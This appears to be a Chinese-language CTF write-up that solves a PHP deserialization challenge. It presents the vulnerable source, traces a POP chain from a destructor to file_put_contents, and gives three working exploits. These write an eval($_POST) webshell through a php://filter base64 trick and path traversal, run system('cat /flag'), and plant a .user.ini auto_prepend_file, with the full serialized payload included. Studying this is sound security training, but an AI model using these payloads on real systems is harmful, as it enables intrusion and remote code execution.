[2020 新春红包题]

题目给了提示,我们访问?src=1可以拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return $filename;
}

return null;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

我没看到最下面有个unserialize,猜测该题为反序列化,我们寻找魔术方法

我们在A类中找到一个__destruct方法

1
2
3
4
5
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}

如果atuosave为0,就会执行save方法

我们来看save方法怎么触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
// array_flip 用来交换数组中的键和值
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
//array_intersect_key 使用键名比较计算数组的交集(获得交集)
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

save调用了getForStorage方法,该方法返回json数据。

getForStorage方法调用了cleanContents方法,该方法用于求给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。

小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。

那么contents是否可以被用户控制,set方法能否执行命令

重新审计A类,我们发现contents变量值来源于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中没有set方法,但B中又,所以store的值肯定为new B();

我们来看B类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
    protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return $filename;
}

return null;
}

}

通过审计代码,我们可以发现一个file_put_contents函数,这里被触发就有可能进行webshell。该函数用到的函数名会被getCatchKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options[‘data_compress’]定义为false即可。

小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

参数构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class A {
protected $store;
#key作为文件名
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
#../返回上一个
$this->key = '/../c.php/.';
#随意的数值,这里似乎没啥用
$this->expire = 111;
}
}
$a = new A();
#动态生成成员
#用于触发save方法
$a->autosave=false;
#处理之后得到contents,path是一个base64值
#<?php eval($_POST[a]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
#这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class B{
public $options;
public function __construct()
{
#禁止压缩
$this->options['data_compress'] = false;
#随意的数值
$this->options['expire'] = 111;
#serialize的方法
$this->options['serialize'] = 'strval';
#用来确定写入文件的地址
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
class B{
public $options;
public function __construct()
{
$this->options['data_compress'] = false;
$this->options['expire'] = 111;
$this->options['serialize'] = 'strval';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}
class A {
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->key = '/../a.php/.';
$this->expire = 111;
}
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
?>


1
2
?src=1&data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A111%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A11%3A%22%2F..%2Fa.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A111%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

将数据传上去后,我们访问uploads/a.php

image-20241016210909289成功传上,我们用蚁剑进行连接,找到flag

image-20241016210951774

解法二:

1
首先autosave要为0,$testB->options['serialize']要为system函数,此时我们对最后的写文件没什莫要求了,但必须要执行到$data = $this->serialize($value);这步,$testA->cache要为system要执行的命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../wtz.phtml';
$this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
];
}
echo urlencode(serialize(new A()));

解法三

先上传图片马,再上传.use.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu");

$a = new A($store = $b, $key = "/../../aaaaaa.jpg", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qaq'.base64_encode('<?php @eval($_POST["moyu"]);?>'));

echo urlencode(serialize($a));

1
2
3
4
5
6
7
8
9
10
11
12
13
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu");

$a = new A($store = $b, $key = "/../../.user.ini", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qaq'.base64_encode("\nauto_prepend_file=aaaaaa.jpg"));

echo urlencode(serialize($a));